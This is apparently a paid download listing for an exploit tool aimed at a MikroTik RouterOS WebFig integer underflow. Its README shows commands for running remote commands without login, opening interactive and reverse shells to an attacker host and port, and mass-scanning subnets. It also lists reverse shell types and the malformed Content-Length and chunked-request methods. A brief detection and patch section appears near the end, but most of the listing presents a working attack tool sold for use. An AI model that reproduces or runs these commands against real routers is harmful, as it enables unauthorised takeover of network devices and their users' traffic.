Price: 0.00136500 BTC

$107.07 USD (by current exchange rate)

Sale Count: Unlimited

Total: 1 file(s)

Hidden text contain: 0 symbol(s)

Download file(s):

CVE-2026-84411.zip 35.08KB

Info(Description by file owner):

# CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

## Overview

**CVE-2026-84411** is a critical pre-authentication Remote Code Execution (RCE) vulnerability in MikroTik RouterOS.

| Field | Value |
|-------|-------|
| **CVSS v3** | 9.8 (Critical) |
| **CWE** | CWE-191: Integer Underflow |
| **Attack Vector** | Network |
| **Authentication** | None (Pre-Auth) |
| **Impact** | Full RCE as root / DoS |
| **Affected** | RouterOS < 7.24 |
| **Fixed** | RouterOS 7.24+ |

### How it works

The web management service (WebFig, listening on TCP/80 and TCP/443) contains an **integer underflow** in its HTTP request body handling. A single specially crafted HTTP request — sent without logging in — can crash the service or allow arbitrary code execution with full privileges.

The underflow occurs when the parser computes a body length with insufficient validation, allowing the value to wrap below zero and underflow to a very large unsigned integer. Memory operations that trust this corrupted length (copies, allocations, bounds checks) then behave catastrophically.

## Quick Start

```bash
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1

# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check

# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"

# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive

# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444

# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt

# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24

# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
```

## Usage

```
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]

CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
```

## Exploit Methods

The tool uses four detection methods:

1. **Content-Length Underflow** — Send POST with `Content-Length` much larger than actual body size
2. **Chunked Transfer Encoding** — Send extreme chunk sizes (UINT32_MAX, UINT16_MAX)
3. **Negative Content-Length** — Send negative `Content-Length` values to trigger underflow
4. **Large Body** — Send very large bodies with matching `Content-Length`

## Reverse Shell Types

| Type | Command |
|------|---------|
| `bash` | Standard bash reverse shell |
| `python` | Python 2 reverse shell |
| `python3` | Python 3 reverse shell |
| `perl` | Perl reverse shell |
| `php` | PHP reverse shell |
| `nc` | Netcat reverse shell |

## File Format for Batch Scanning

`targets.txt` — one target per line:

```
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
```

## Detection & Response

### Network Telemetry

The highest-fidelity signal is any connection to RouterOS web management ports (TCP/80, TCP/443) from a source that is not a known management host.

### Sigma Rules

See the Security Arsenal blog post for Sigma rules:
https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide

### Mitigation

Update to RouterOS **7.24** or later.

## References

- [MikroTik Advisory](https://mikrotik.com/supportsec/cve-2026-84411/)
- [CISA Advisory ICSA-26-272-06](https://www.cisa.gov/news-events/ics-advisories/icsa-26-272-06)
- [NVD CVE-2026-84411](https://nvd.nist.gov/vuln/detail/CVE-2026-84411)
- [SentinelOne Analysis](https://www.sentinelone.com/vulnerability-database/cve-2026-84411/)
- [Go PoC](https://github.com/gagaltotal/CVE-2026-mikrotik-poc)

## License

For authorized security testing only.

## Author

Python port based on the Go PoC by Gagaltotal666 / GhostGTR666.